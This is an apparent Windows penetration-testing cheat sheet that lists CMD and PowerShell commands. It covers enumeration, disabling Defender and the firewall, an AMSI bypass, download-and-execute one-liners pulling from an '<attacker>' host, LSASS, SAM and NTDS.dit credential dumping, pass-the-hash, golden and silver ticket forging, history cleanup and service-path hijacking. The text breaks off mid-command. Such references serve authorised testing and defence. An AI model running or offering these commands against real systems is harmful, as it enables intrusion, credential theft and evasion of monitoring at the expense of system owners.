windows-cmd-powershell.md (71619B)
1 --- 2 title: "Windows CMD & PowerShell" 3 description: "Windows pentest command reference: recon, users/groups, networking, downloads and PowerShell one-liners." 4 category: tools 5 tags: [windows, post-exploitation, commands] 6 tools: [cmd, PowerShell] 7 difficulty: intermediate 8 updated: "2026-08-09" 9 source: "vault:Tools/CMD-Powershell Cheat Sheet.md" 10 --- 11 12 # Windows CMD & PowerShell 13 14 #Pentesting #PowerShell #CommandLine #CMD 15 16 # Windows Penetration Testing Cheat Sheet 17 18 ## 1. CMD.exe & PowerShell Pentest Basics 19 20 ### System Enumeration 21 22 | Purpose | CMD | PowerShell | 23 |---|---|---| 24 | Current User | `whoami /all` | `[Security.Principal.WindowsIdentity]::GetCurrent()` | 25 | Local Users | `net user` | `Get-LocalUser` | 26 | Local Groups | `net localgroup` | `Get-LocalGroup` | 27 | Local Admins | `net localgroup Administrators` | `Get-LocalGroupMember -Group "Administrators"` | 28 | Domain Users | `net user /domain` | `Get-ADUser -Filter *` | 29 | Domain Admins | `net group "Domain Admins" /domain` | `Get-ADGroupMember -Identity "Domain Admins"` | 30 | Domain Info | `systeminfo \| findstr /B /C:"Domain"` | `Get-ADDomain` | 31 | Domain Controllers | `nltest /dclist:%USERDOMAIN%` | `Get-ADDomainController -Filter *` | 32 | Hostname | `hostname` | `$env:COMPUTERNAME` | 33 | OS Info | `systeminfo` | `Get-CimInstance Win32_OperatingSystem` | 34 35 ### Network Enumeration 36 37 ```cmd 38 :: Active connections 39 netstat -ano 40 41 :: Routing table 42 route print 43 44 :: ARP cache 45 arp -a 46 47 :: DNS cache 48 ipconfig /displaydns 49 50 :: Network shares (local) 51 net share 52 53 :: Network shares (remote) 54 net view \\<target> 55 56 :: Domain computers 57 net view /domain 58 59 :: Current sessions 60 net session 61 ``` 62 63 ```powershell 64 # Active TCP connections with process 65 Get-NetTCPConnection | Select LocalAddress,LocalPort,RemoteAddress,RemotePort,State,OwningProcess 66 67 # SMB shares on remote host 68 Get-SmbShare -CimSession <target> 69 70 # Port scan (single port) 71 Test-NetConnection -ComputerName <target> -Port 445 72 73 # Quick port sweep 74 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<target>",$_)) "Port $_ open"} 2>$null 75 ``` 76 77 ### Process & Service Enumeration 78 79 ```cmd 80 :: Running processes 81 tasklist /v 82 wmic process list full 83 84 :: Services 85 sc query 86 wmic service get name,displayname,pathname,startmode 87 88 :: Unquoted service paths 89 wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ 90 ``` 91 92 ```powershell 93 # Processes with path 94 Get-Process | Select Name,Id,Path 95 96 # Services with binary paths 97 Get-WmiObject win32_service | Select Name,PathName,StartMode,State 98 99 # Find unquoted service paths 100 Get-WmiObject win32_service | Where {$_.PathName -notlike "C:\Windows\*" -and $_.PathName -notlike '"*'} | Select Name,PathName 101 ``` 102 103 ### Firewall & Defender Manipulation 104 105 ```cmd 106 :: Firewall status 107 netsh advfirewall show allprofiles 108 109 :: Disable firewall (requires admin) 110 netsh advfirewall set allprofiles state off 111 112 :: Add firewall rule 113 netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=tcp localport=4444 114 115 :: Defender status 116 sc query windefend 117 118 :: Disable real-time monitoring (requires admin) 119 powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true" 120 121 :: Add exclusion path 122 powershell -c "Add-MpPreference -ExclusionPath 'C:\Tools'" 123 ``` 124 125 ```powershell 126 # Defender status 127 Get-MpComputerStatus 128 129 # Disable real-time protection 130 Set-MpPreference -DisableRealtimeMonitoring $true 131 132 # Add exclusions 133 Add-MpPreference -ExclusionPath "C:\Temp" 134 Add-MpPreference -ExclusionProcess "payload.exe" 135 Add-MpPreference -ExclusionExtension ".ps1" 136 137 # List exclusions 138 Get-MpPreference | Select Exclusion* 139 140 # Disable AMSI (current session) 141 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) 142 ``` 143 144 ### File Transfer Techniques 145 146 ```cmd 147 :: Certutil download 148 certutil -urlcache -split -f http://<attacker>/file.exe C:\Temp\file.exe 149 150 :: Certutil base64 decode 151 certutil -decode encoded.txt decoded.exe 152 153 :: Bitsadmin download 154 bitsadmin /transfer job /download /priority high http://<attacker>/file.exe C:\Temp\file.exe 155 156 :: PowerShell via CMD 157 powershell -c "(New-Object Net.WebClient).DownloadFile('http://<attacker>/file.exe','C:\Temp\file.exe')" 158 159 :: Curl (Windows 10+) 160 curl http://<attacker>/file.exe -o C:\Temp\file.exe 161 ``` 162 163 ```powershell 164 # Invoke-WebRequest 165 Invoke-WebRequest -Uri "http://<attacker>/file.exe" -OutFile "C:\Temp\file.exe" 166 iwr "http://<attacker>/file.exe" -o "C:\Temp\file.exe" 167 168 # WebClient 169 (New-Object Net.WebClient).DownloadFile("http://<attacker>/file.exe","C:\Temp\file.exe") 170 171 # Download and execute in memory (fileless) 172 IEX (New-Object Net.WebClient).DownloadString("http://<attacker>/script.ps1") 173 IEX (iwr "http://<attacker>/script.ps1" -UseBasicParsing).Content 174 175 # SMB copy 176 copy \\<attacker>\share\file.exe C:\Temp\file.exe 177 178 # Base64 encode/decode 179 $content = Get-Content -Path "file.exe" -Encoding Byte 180 [Convert]::ToBase64String($content) | Out-File encoded.txt 181 182 [IO.File]::WriteAllBytes("decoded.exe", [Convert]::FromBase64String((Get-Content encoded.txt))) 183 ``` 184 185 --- 186 187 ## 2. Sensitive File Locations 188 189 ## PowerShell & CMD History Locations 190 191 ### PowerShell History 192 193 | Location | Description | 194 |---|---| 195 | `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` | PSReadLine history (PS 5.0+) | 196 | `C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` | Full path | 197 | `(Get-PSReadLineOption).HistorySavePath` | Query current history path | 198 199 ```powershell 200 # Read current user's PowerShell history 201 Get-Content (Get-PSReadLineOption).HistorySavePath 202 203 # Read all users' history (requires admin) 204 Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ } 205 206 # Search history for sensitive strings 207 Select-String -Path (Get-PSReadLineOption).HistorySavePath -Pattern "password|credential|secret|key" 208 ``` 209 210 ```cmd 211 :: CMD access to PowerShell history 212 type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 213 214 :: All users 215 for /f "tokens=*" %a in ('dir /b C:\Users') do @type "C:\Users\%a\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul 216 ``` 217 218 ### CMD History 219 220 CMD does not persist history to disk by default. History exists only in memory during the session. 221 222 ```cmd 223 :: View current session history 224 doskey /history 225 226 :: Save current session to file 227 doskey /history > C:\Temp\cmd_history.txt 228 ``` 229 230 ### PowerShell Transcript Logs 231 232 | Location | Description | 233 |---|---| 234 | `C:\Users\<user>\Documents\PowerShell_transcript*.txt` | Default transcript location | 235 | `C:\Transcripts\` | Common GPO-configured location | 236 | Registry: `HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription` | Check if enabled | 237 238 ```powershell 239 # Check if transcription is enabled 240 Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -ErrorAction SilentlyContinue 241 242 # Find transcript files 243 Get-ChildItem -Path C:\ -Recurse -Include "*transcript*" -ErrorAction SilentlyContinue 244 245 # Common locations 246 Get-ChildItem -Path "C:\Transcripts" -Recurse -ErrorAction SilentlyContinue 247 Get-ChildItem -Path "$env:USERPROFILE\Documents" -Filter "*transcript*" -ErrorAction SilentlyContinue 248 ``` 249 250 ### PowerShell Event Logs 251 252 | Log Path | Description | 253 |---|---| 254 | `Microsoft-Windows-PowerShell/Operational` | Script block logging, module logging | 255 | `Windows PowerShell` | Legacy PowerShell log | 256 257 ```powershell 258 # Query PowerShell script block logs (Event ID 4104) 259 Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath '*[System[EventID=4104]]' -MaxEvents 50 | Format-List Message 260 261 # Export PowerShell logs 262 wevtutil qe "Microsoft-Windows-PowerShell/Operational" /f:text > ps_logs.txt 263 ``` 264 265 ### Cleanup Commands 266 267 ```powershell 268 # Clear PowerShell history 269 Remove-Item (Get-PSReadLineOption).HistorySavePath -Force 270 271 # Clear current session history 272 Clear-History 273 274 # Disable history for current session 275 Set-PSReadLineOption -HistorySaveStyle SaveNothing 276 ``` 277 278 ```cmd 279 :: Clear CMD session history 280 doskey /reinstall 281 ``` 282 283 284 ### Windows Credentials & Hives 285 286 | Path | Description | 287 |---|---| 288 | `C:\Windows\System32\config\SAM` | Local account password hashes | 289 | `C:\Windows\System32\config\SYSTEM` | System key for SAM decryption | 290 | `C:\Windows\System32\config\SECURITY` | LSA secrets, cached domain creds | 291 | `C:\Windows\NTDS\ntds.dit` | AD database (Domain Controllers) | 292 | `C:\Windows\repair\SAM` | Backup SAM (older systems) | 293 | `C:\Windows\repair\SYSTEM` | Backup SYSTEM hive | 294 | `%USERPROFILE%\NTUSER.DAT` | User registry hive | 295 296 ### Unattended Installation Files 297 298 | Path | Description | 299 |---|---| 300 | `C:\Unattend.xml` | Unattended setup file | 301 | `C:\Windows\Panther\Unattend.xml` | Setup answer file | 302 | `C:\Windows\Panther\Unattend\Unattend.xml` | Alternate location | 303 | `C:\Windows\System32\sysprep\sysprep.xml` | Sysprep config | 304 | `C:\Windows\System32\sysprep\Panther\unattend.xml` | Sysprep unattend | 305 | `C:\sysprep.inf` | Legacy sysprep | 306 | `C:\sysprep\sysprep.xml` | Legacy sysprep XML | 307 308 ### Web Application Configs 309 310 | Path | Description | 311 |---|---| 312 | `C:\inetpub\wwwroot\web.config` | IIS web application config | 313 | `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config` | .NET machine config | 314 | `C:\inetpub\wwwroot\*\connectionStrings.config` | Database connection strings | 315 | `%WINDIR%\system32\inetsrv\config\applicationHost.config` | IIS host config | 316 317 ### Common Credential Locations 318 319 | Path | Description | 320 |---|---| 321 | `%APPDATA%\Microsoft\Credentials\*` | Windows Credential Manager | 322 | `%LOCALAPPDATA%\Microsoft\Credentials\*` | Local credential vault | 323 | `%USERPROFILE%\.aws\credentials` | AWS credentials | 324 | `%USERPROFILE%\.azure\accessTokens.json` | Azure tokens | 325 | `%USERPROFILE%\.kube\config` | Kubernetes config | 326 | `C:\ProgramData\McAfee\Agent\DB\ma.db` | McAfee ePO credentials | 327 | `C:\Users\*\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings` | RDCMan encrypted creds | 328 | `C:\Users\*\AppData\Roaming\FileZilla\recentservers.xml` | FileZilla saved credentials | 329 | `C:\Users\*\AppData\Roaming\FileZilla\sitemanager.xml` | FileZilla site manager | 330 331 ### Group Policy Preferences 332 333 | Path | Description | 334 |---|---| 335 | `\\<domain>\SYSVOL\<domain>\Policies\*\Machine\Preferences\Groups\Groups.xml` | GPP local group creds | 336 | `\\<domain>\SYSVOL\<domain>\Policies\*\Machine\Preferences\Services\Services.xml` | GPP service accounts | 337 | `\\<domain>\SYSVOL\<domain>\Policies\*\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml` | GPP scheduled tasks | 338 | `\\<domain>\SYSVOL\<domain>\Policies\*\Machine\Preferences\DataSources\DataSources.xml` | GPP data sources | 339 340 ```powershell 341 # Search for GPP passwords in SYSVOL 342 Get-ChildItem -Path "\\$env:USERDNSDOMAIN\SYSVOL" -Recurse -Include *.xml -ErrorAction SilentlyContinue | Select-String -Pattern "cpassword" 343 ``` 344 345 ### Quick File Search Commands 346 347 ```cmd 348 :: Find files containing "password" 349 findstr /si password *.txt *.ini *.config *.xml 350 351 :: Find specific files recursively 352 dir /s /b C:\*unattend*.xml C:\*sysprep*.xml C:\*web.config 2>nul 353 ``` 354 355 ```powershell 356 # Search for password in files 357 Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.ini,*.config,*.xml -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List 358 359 # Find interesting files 360 Get-ChildItem -Path C:\ -Recurse -Include *pass*,*cred*,*vnc*,*.config -ErrorAction SilentlyContinue 361 ``` 362 363 --- 364 365 ## 3. Impersonation & Lateral Movement (Cleartext Credentials) 366 367 ### CMD - runas 368 369 ```cmd 370 :: Interactive login as another user (spawns new cmd) 371 runas /user:<domain>\<username> cmd.exe 372 373 :: Run specific command 374 runas /user:<domain>\<username> "powershell.exe -ep bypass" 375 376 :: Network-only impersonation (no local profile, creds used for network resources only) 377 runas /netonly /user:<domain>\<username> cmd.exe 378 379 :: Useful for accessing remote shares/services without touching local system 380 runas /netonly /user:CORP\admin "mmc.exe" 381 ``` 382 383 ### PowerShell - PSCredential Object 384 385 ```powershell 386 # Create credential object 387 $user = "<domain>\<username>" 388 $pass = ConvertTo-SecureString "<password>" -AsPlainText -Force 389 $cred = New-Object System.Management.Automation.PSCredential($user, $pass) 390 391 # Alternative: Prompt for credentials 392 $cred = Get-Credential 393 ``` 394 395 ### PowerShell - Remote Execution with Invoke-Command 396 397 ```powershell 398 # Single command on remote host 399 Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock {whoami; hostname} 400 401 # Execute local script on remote host 402 Invoke-Command -ComputerName <target> -Credential $cred -FilePath C:\Scripts\payload.ps1 403 404 # Multiple targets 405 Invoke-Command -ComputerName server1,server2,server3 -Credential $cred -ScriptBlock {Get-Process} 406 407 # With session for persistence 408 $session = New-PSSession -ComputerName <target> -Credential $cred 409 Invoke-Command -Session $session -ScriptBlock {whoami} 410 Remove-PSSession $session 411 ``` 412 413 ### PowerShell - Interactive Session with Enter-PSSession 414 415 ```powershell 416 # Interactive PowerShell session 417 Enter-PSSession -ComputerName <target> -Credential $cred 418 419 # When inside remote session 420 [<target>]: PS C:\> whoami 421 [<target>]: PS C:\> exit 422 423 # Using SSL (if configured) 424 Enter-PSSession -ComputerName <target> -Credential $cred -UseSSL 425 ``` 426 427 ### PowerShell - Start-Process as Different User 428 429 ```powershell 430 # Start process as another user (local) 431 Start-Process -FilePath "cmd.exe" -Credential $cred 432 433 # Start process with arguments 434 Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -File C:\script.ps1" -Credential $cred 435 436 # Start hidden process 437 Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -c IEX(...)" -Credential $cred -WindowStyle Hidden 438 ``` 439 440 ### WMI Remote Execution 441 442 ```powershell 443 # Execute command via WMI 444 Invoke-WmiMethod -ComputerName <target> -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\output.txt" 445 446 # Using CIM (modern) 447 Invoke-CimMethod -ComputerName <target> -Credential $cred -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell.exe -ep bypass -c IEX(...)"} 448 ``` 449 450 ### PsExec-style Execution 451 452 ```cmd 453 :: Sysinternals PsExec 454 psexec.exe \\<target> -u <domain>\<username> -p <password> cmd.exe 455 456 :: Interactive session 457 psexec.exe \\<target> -u <domain>\<username> -p <password> -i cmd.exe 458 459 :: Run as SYSTEM 460 psexec.exe \\<target> -u <domain>\<username> -p <password> -s cmd.exe 461 ``` 462 463 --- 464 465 ## 4. Pass-the-Hash (PtH) Techniques 466 467 ### Technical Overview 468 469 Native Windows commands do not accept NTLM hashes directly. PtH requires injecting the hash into memory (LSASS) or using tools that implement the NTLM authentication protocol directly. The hash replaces the password in the NTLM challenge-response flow. 470 471 **NTLM Hash Format:** `LMHash:NTHash` or `aad3b435b51404eeaad3b435b51404ee:NTHashHere` (empty LM) 472 473 ### Mimikatz - sekurlsa::pth 474 475 ```cmd 476 :: Pass-the-Hash - spawns new process with injected credentials 477 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<NTHash> /run:cmd.exe" "exit" 478 479 :: Example 480 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:CORP /ntlm:a87f3a337d73085c45f9416be5787d86 /run:powershell.exe" "exit" 481 482 :: With AES256 key (more stealthy, Kerberos) 483 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:CORP /aes256:<aes256key> /run:cmd.exe" "exit" 484 ``` 485 486 ### Impacket Tools (via CMD/PowerShell) 487 488 ```bash 489 # PsExec with hash 490 impacket-psexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash> 491 impacket-psexec CORP/Administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86 492 493 # WMIExec with hash 494 impacket-wmiexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash> 495 496 # SMBExec with hash 497 impacket-smbexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash> 498 499 # Atexec with hash (scheduled task) 500 impacket-atexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash> "whoami" 501 502 # SecretsDump - extract hashes 503 impacket-secretsdump <domain>/<username>@<target> -hashes <LMHash>:<NTHash> 504 ``` 505 506 ### CrackMapExec / NetExec 507 508 ```bash 509 # Command execution with hash 510 crackmapexec smb <target> -u <username> -H <NTHash> -x "whoami" 511 512 # PowerShell execution 513 crackmapexec smb <target> -u <username> -H <NTHash> -X "Get-Process" 514 515 # Dump SAM 516 crackmapexec smb <target> -u <username> -H <NTHash> --sam 517 518 # Dump LSA 519 crackmapexec smb <target> -u <username> -H <NTHash> --lsa 520 521 # NetExec (modern fork) 522 nxc smb <target> -u <username> -H <NTHash> -x "whoami" 523 ``` 524 525 ### Invoke-TheHash (PowerShell) 526 527 ```powershell 528 # Import module 529 Import-Module .\Invoke-TheHash.psd1 530 531 # WMI execution 532 Invoke-WMIExec -Target <target> -Domain <domain> -Username <username> -Hash <NTHash> -Command "cmd.exe /c whoami > C:\output.txt" 533 534 # SMB execution 535 Invoke-SMBExec -Target <target> -Domain <domain> -Username <username> -Hash <NTHash> -Command "powershell -ep bypass -c IEX(...)" 536 537 # SMB client for file operations 538 Invoke-SMBClient -Target <target> -Domain <domain> -Username <username> -Hash <NTHash> -Action Get -Source "C$\Windows\System32\config\SAM" 539 ``` 540 541 ### Evil-WinRM 542 543 ```bash 544 # PtH with Evil-WinRM 545 evil-winrm -i <target> -u <username> -H <NTHash> 546 547 # With SSL 548 evil-winrm -i <target> -u <username> -H <NTHash> -S 549 ``` 550 551 ### xfreerdp (RDP with Hash - Restricted Admin Mode Required) 552 553 ```bash 554 # RDP Pass-the-Hash (target must have Restricted Admin enabled) 555 xfreerdp /v:<target> /u:<username> /pth:<NTHash> /d:<domain> 556 557 # Enable Restricted Admin on target (requires prior access) 558 reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f 559 ``` 560 561 ### Overpass-the-Hash (Request Kerberos TGT with Hash) 562 563 ```cmd 564 :: Mimikatz - Request TGT using hash, then use Kerberos 565 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<NTHash> /run:powershell.exe" "exit" 566 567 :: In spawned shell, Kerberos ticket is obtained automatically on network access 568 :: Verify with: 569 klist 570 ``` 571 572 ```powershell 573 # Rubeus - Overpass-the-Hash 574 .\Rubeus.exe asktgt /user:<username> /domain:<domain> /rc4:<NTHash> /ptt 575 576 # With AES256 (opsec-safer) 577 .\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes256key> /ptt 578 579 # Verify ticket 580 klist 581 ``` 582 583 584 --- 585 586 ## 5. Kerberos Attacks 587 588 ### Kerberoasting 589 590 ```powershell 591 # PowerShell - Request TGS for SPNs (no tools) 592 Add-Type -AssemblyName System.IdentityModel 593 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql.corp.local:1433" 594 595 # Extract tickets from memory 596 Get-ChildItem C:\Users\*\AppData\Local\Temp\*.kirbi 597 598 # PowerView - Find Kerberoastable accounts 599 Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName 600 ``` 601 602 ```cmd 603 :: Rubeus - Kerberoast all SPNs 604 Rubeus.exe kerberoast /outfile:hashes.txt 605 606 :: Kerberoast specific user 607 Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt 608 609 :: With AES (opsec-safer, RC4 is default) 610 Rubeus.exe kerberoast /stats 611 Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt 612 ``` 613 614 ```bash 615 # Impacket - Remote Kerberoasting 616 impacket-GetUserSPNs <domain>/<username>:<password> -dc-ip <dc-ip> -request -outputfile hashes.txt 617 618 # With hash 619 impacket-GetUserSPNs <domain>/<username> -hashes <LMHash>:<NTHash> -dc-ip <dc-ip> -request 620 ``` 621 622 ### AS-REP Roasting 623 624 ```powershell 625 # PowerView - Find AS-REP Roastable users (DONT_REQ_PREAUTH) 626 Get-DomainUser -PreauthNotRequired | Select SamAccountName 627 ``` 628 629 ```cmd 630 :: Rubeus - AS-REP Roast 631 Rubeus.exe asreproast /outfile:hashes.txt 632 633 :: Specific user 634 Rubeus.exe asreproast /user:svc_backup /outfile:hash.txt 635 ``` 636 637 ```bash 638 # Impacket - Remote AS-REP Roasting 639 impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <dc-ip> -outputfile hashes.txt 640 641 # Authenticated 642 impacket-GetNPUsers <domain>/<username>:<password> -dc-ip <dc-ip> -request 643 ``` 644 645 ### Golden Ticket 646 647 ```cmd 648 :: Mimikatz - Create Golden Ticket (requires krbtgt hash) 649 mimikatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-SID> /krbtgt:<krbtgt-NTHash> /ptt" "exit" 650 651 :: With specific groups (Domain Admins, Enterprise Admins, Schema Admins) 652 mimikatz.exe "kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /groups:512,518,519 /ptt" "exit" 653 654 :: Export to file instead of inject 655 mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /ticket:golden.kirbi" "exit" 656 ``` 657 658 ```bash 659 # Impacket - Golden Ticket 660 impacket-ticketer -nthash <krbtgt-hash> -domain-sid <domain-SID> -domain <domain> Administrator 661 export KRB5CCNAME=Administrator.ccache 662 impacket-psexec <domain>/Administrator@<target> -k -no-pass 663 ``` 664 665 ### Silver Ticket 666 667 ```cmd 668 :: Mimikatz - Create Silver Ticket (requires service account hash) 669 :: CIFS service (file shares) 670 mimikatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-SID> /target:<target-fqdn> /service:cifs /rc4:<service-account-hash> /ptt" "exit" 671 672 :: HTTP service 673 mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:web.corp.local /service:http /rc4:<hash> /ptt" "exit" 674 675 :: MSSQL service 676 mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:sql.corp.local /service:MSSQLSvc /rc4:<hash> /ptt" "exit" 677 ``` 678 679 ### Ticket Management 680 681 ```cmd 682 :: List current tickets 683 klist 684 685 :: Purge all tickets 686 klist purge 687 688 :: Mimikatz - Export tickets 689 mimikatz.exe "sekurlsa::tickets /export" "exit" 690 691 :: Mimikatz - Import ticket 692 mimikatz.exe "kerberos::ptt ticket.kirbi" "exit" 693 694 :: Rubeus - Import ticket 695 Rubeus.exe ptt /ticket:ticket.kirbi 696 697 :: Rubeus - Dump tickets 698 Rubeus.exe dump 699 Rubeus.exe triage 700 ``` 701 702 --- 703 704 ## 6. Credential Dumping 705 706 ### LSASS Dumping 707 708 ```cmd 709 :: Task Manager (manual): Right-click lsass.exe > Create dump file 710 711 :: ProcDump (Sysinternals) 712 procdump.exe -ma lsass.exe lsass.dmp 713 714 :: Mimikatz - Direct dump 715 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" 716 717 :: Mimikatz - From dump file 718 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" 719 720 :: comsvcs.dll (native LOLBin) 721 rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass-PID> C:\Temp\lsass.dmp full 722 ``` 723 724 ```powershell 725 # Get LSASS PID 726 Get-Process lsass | Select Id 727 728 # Out-Minidump (PowerSploit) 729 Get-Process lsass | Out-Minidump 730 731 # Using comsvcs.dll 732 $lsass = Get-Process lsass 733 rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\Temp\lsass.dmp full 734 ``` 735 736 ### SAM/SYSTEM/SECURITY Extraction 737 738 ```cmd 739 :: Save hives (requires admin) 740 reg save HKLM\SAM C:\Temp\SAM 741 reg save HKLM\SYSTEM C:\Temp\SYSTEM 742 reg save HKLM\SECURITY C:\Temp\SECURITY 743 744 :: Copy from Volume Shadow Copy 745 vssadmin create shadow /for=C: 746 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM 747 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM 748 ``` 749 750 ```bash 751 # Impacket - Extract hashes from hives 752 impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL 753 754 # Remote extraction 755 impacket-secretsdump <domain>/<username>:<password>@<target> 756 impacket-secretsdump <domain>/<username>@<target> -hashes <LMHash>:<NTHash> 757 ``` 758 759 ### NTDS.dit Extraction (Domain Controller) 760 761 ```cmd 762 :: Using ntdsutil 763 ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds" quit quit 764 765 :: Using vssadmin 766 vssadmin create shadow /for=C: 767 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit 768 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM 769 770 :: Mimikatz DCSync (no need for file access) 771 mimikatz.exe "lsadump::dcsync /domain:corp.local /user:Administrator" "exit" 772 mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit" 773 ``` 774 775 ```bash 776 # Impacket - Remote DCSync 777 impacket-secretsdump <domain>/<username>:<password>@<dc-ip> -just-dc 778 779 # Extract NTDS.dit locally 780 impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile hashes 781 ``` 782 783 ### Cached Credentials 784 785 ```cmd 786 :: Mimikatz - Cached domain credentials (DCC2/mscash2) 787 mimikatz.exe "lsadump::cache" "exit" 788 789 :: From SECURITY hive 790 mimikatz.exe "lsadump::secrets" "exit" 791 ``` 792 793 ### Windows Credential Manager 794 795 ```cmd 796 :: List stored credentials 797 cmdkey /list 798 799 :: Mimikatz - Dump vault credentials 800 mimikatz.exe "vault::cred /patch" "exit" 801 802 :: PowerShell 803 [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] 804 (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword(); $_ } 805 ``` 806 807 --- 808 809 ## 7. Privilege Escalation Enumeration 810 811 ### Automated Enumeration 812 813 ```cmd 814 :: WinPEAS 815 winpeasany.exe quiet 816 817 :: Seatbelt 818 Seatbelt.exe -group=all 819 820 :: PowerUp 821 powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" 822 823 :: SharpUp 824 SharpUp.exe audit 825 ``` 826 827 ### Token Privileges 828 829 ```cmd 830 :: Check current privileges 831 whoami /priv 832 ``` 833 834 | Privilege | Exploitation Technique | 835 |---|---| 836 | `SeImpersonatePrivilege` | Potato attacks (JuicyPotato, PrintSpoofer, GodPotato) | 837 | `SeAssignPrimaryTokenPrivilege` | Token impersonation | 838 | `SeBackupPrivilege` | Read any file (SAM, NTDS.dit) | 839 | `SeRestorePrivilege` | Write any file, DLL hijack | 840 | `SeTakeOwnershipPrivilege` | Take ownership of any object | 841 | `SeDebugPrivilege` | Debug any process, inject into LSASS | 842 | `SeLoadDriverPrivilege` | Load malicious kernel driver | 843 844 ### Potato Attacks (SeImpersonatePrivilege) 845 846 ```cmd 847 :: PrintSpoofer (Windows 10/Server 2016+) 848 PrintSpoofer.exe -i -c cmd.exe 849 850 :: GodPotato (universal) 851 GodPotato.exe -cmd "cmd /c whoami" 852 853 :: JuicyPotato (older systems) 854 JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID} 855 856 :: SweetPotato 857 SweetPotato.exe -p cmd.exe -a "/c whoami" 858 ``` 859 860 ### Service Exploitation 861 862 ```cmd 863 :: Unquoted service path exploitation 864 :: 1. Find unquoted paths 865 wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ 866 867 :: 2. Check write permissions to path 868 icacls "C:\Program Files\Vulnerable Service" 869 870 :: 3. Drop binary and restart service 871 copy payload.exe "C:\Program Files\Vulnerable.exe" 872 sc stop "Vulnerable Service" 873 sc start "Vulnerable Service" 874 ``` 875 876 ```cmd 877 :: Weak service permissions 878 :: 1. Check service permissions 879 sc sdshow <service> 880 accesschk.exe -uwcqv "Everyone" * /accepteula 881 accesschk.exe -uwcqv "Authenticated Users" * /accepteula 882 883 :: 2. Modify service binary path 884 sc config <service> binpath= "C:\Temp\payload.exe" 885 sc stop <service> 886 sc start <service> 887 ``` 888 889 ### AlwaysInstallElevated 890 891 ```cmd 892 :: Check if enabled 893 reg query 